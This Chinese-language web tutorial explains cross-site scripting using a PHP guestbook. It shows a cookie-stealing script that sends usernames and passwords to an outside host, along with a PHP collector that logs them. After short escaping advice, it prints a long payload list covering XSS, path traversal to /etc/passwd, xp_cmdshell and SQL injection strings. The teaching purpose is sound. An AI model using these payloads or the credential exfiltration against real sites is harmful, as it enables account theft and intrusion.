跨站脚本攻击XSS原理与防范实例分析

 更新时间:2019年04月27日 14:39:00   作者:谦行  
这篇文章主要介绍了跨站脚本攻击XSS原理与防范,结合实例形式分析了跨站脚本攻击XSS的原理、实现方法及防范技巧,需要的朋友可以参考下

本文实例讲述了跨站脚本攻击XSS原理与防范。分享给大家供大家参考,具体如下:

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

一个简单的留言板

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

<!DOCTYPE html>
<html>
<head>
 <?php include('/components/headerinclude.php');?></head>
 <style type="text/css">
  .comment-title{
   font-size:14px;
   margin: 6px 0px 2px 4px;
  }
  .comment-body{
   font-size: 14px;
   color:#ccc;
   font-style: italic;
   border-bottom: dashed 1px #ccc;
   margin: 4px;
  }
 </style>
 <script type="text/javascript" src="/js/cookies.js"></script>
<body>
 <form method="post" action="list.php">
  <div style="margin:20px;">
   <div style="font-size:16px;font-weight:bold;">Your Comment</div>
   <div style="padding:6px;">
    Nick Name:
    <br/>
    <input name="name" type="text" style="width:300px;"/>
   </div>
   <div style="padding:6px;">
    Comment:
    <br/>
    <textarea name="comment" style="height:100px; width:300px;"></textarea>
   </div>
   <div style="padding-left:230px;">
    <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
   </div>
   <div style="border-bottom:solid 1px #fff;margin-top:10px;">
    <div style="font-size:16px;font-weight:bold;">Comments</div>
   </div>
   <?php
    require('/components/comments.php');
    if(!empty($_POST['name'])){
     addElement($_POST['name'],$_POST['comment']);
    }
    renderComments();
   ?>
  </div>
 </form>
</body>
</html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的

XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

http://test.com/index.php

<?php
 if(!empty($_GET['password'])){
  $username=$_GET['username'];
  $password=$_GET['password'];
  try{
   $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
   $fp=fopen($path,'a');
   flock($fp, LOCK_EX);
   fwrite($fp, "$username\t $password\r\n");
   flock($fp, LOCK_UN);
   fclose($fp);
  }catch(Exception $e){
  }
 }
?>

这样恶意用户就把访问留言板的用户的信息窃取了

怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看下面这个XSS跨站测试代码大全试试站点是否安全:

'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');" rel="external nofollow" >
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[ code]">
<IMG src="livescript:[ code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//" rel="external nofollow" >
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code ]

希望本文所述对大家网络安全与维护有所帮助。

相关文章

  • SQL注入详细讲解(万字长文,全网最全!)

    SQL注入详细讲解(万字长文,全网最全!)

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,下面这篇文章主要给大家介绍了关于SQL注入详细讲解的相关资料,需要的朋友可以参考下
    2023-03-03
  • 网络安全漏洞渗透测试之文件上传绕过思路案例详解

    网络安全漏洞渗透测试之文件上传绕过思路案例详解

    这篇文章主要为大家介绍了网络安全漏洞渗透测试之文件上传绕过思路的案例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步
    2022-02-02
  • Web网络安全漏洞分析XSS常用语句及编码绕过详解

    Web网络安全漏洞分析XSS常用语句及编码绕过详解

    这篇文章主要为大家介绍了Web网络安全漏洞分析XSS常用语句及编码绕过详解,有需要的朋友可以借鉴参考下希望能够有所帮助,祝大家多多进步早日升职加薪
    2021-11-11
  • Web网络安全分析二次注入攻击原理详解

    Web网络安全分析二次注入攻击原理详解

    这篇文章主要为大家讲解介绍了Web网络安全分析二次注入攻击原理的详解,有需要相关学习的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步
    2021-11-11
  • Web网络安全分析Base64注入攻击原理详解

    Web网络安全分析Base64注入攻击原理详解

    这篇文章主要为大家介绍了Web网络安全分析Base64注入攻击原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2021-11-11
  • 让McAfee来终结网站被挂马的时代图文教程

    让McAfee来终结网站被挂马的时代图文教程

    今年是互联网上木马、病毒和黑客横行的一年。具体的事例不用我说,相信大家都有所耳闻。经常上网的时候不小心进个网站就中木马了。不排除有一部分黑心的站长为了自己利益不顾网友的安全故意挂马;还有很多站长是冤枉的,自己也是受害者——网站被入侵然后被挂马了。
    2008-03-03
  • 防护网站存在的sql注入攻击漏洞措施

    防护网站存在的sql注入攻击漏洞措施

    这篇文章主要为大家介绍了如何防护网站存在的sql注入攻击漏洞方法措施,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2024-01-01
  • 网络安全常见问题隐患及其应对措施详解

    网络安全常见问题隐患及其应对措施详解

    这篇文章主要为大家介绍了网络安全常见问题隐患及其应对措施详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-10-10
  • 防御SQL注入攻击时需要注意的一个问题

    防御SQL注入攻击时需要注意的一个问题

    SQL注入算是一个极为普通的问题了,解决方案也多如牛毛,但是新的注入方式仍然层出不穷。
    2009-02-02
  • 关于Web网络如何防范XSS攻击的措施

    关于Web网络如何防范XSS攻击的措施

    这篇文章主要介绍了关于Web网络如何防范XSS攻击的措施,XSS攻击是一种常见的网络安全漏洞,它可以通过注入恶意代码来攻击用户的计算机和浏览器,从而窃取用户的敏感信息或执行恶意操作,需要的朋友可以参考下
    2023-07-07

最新评论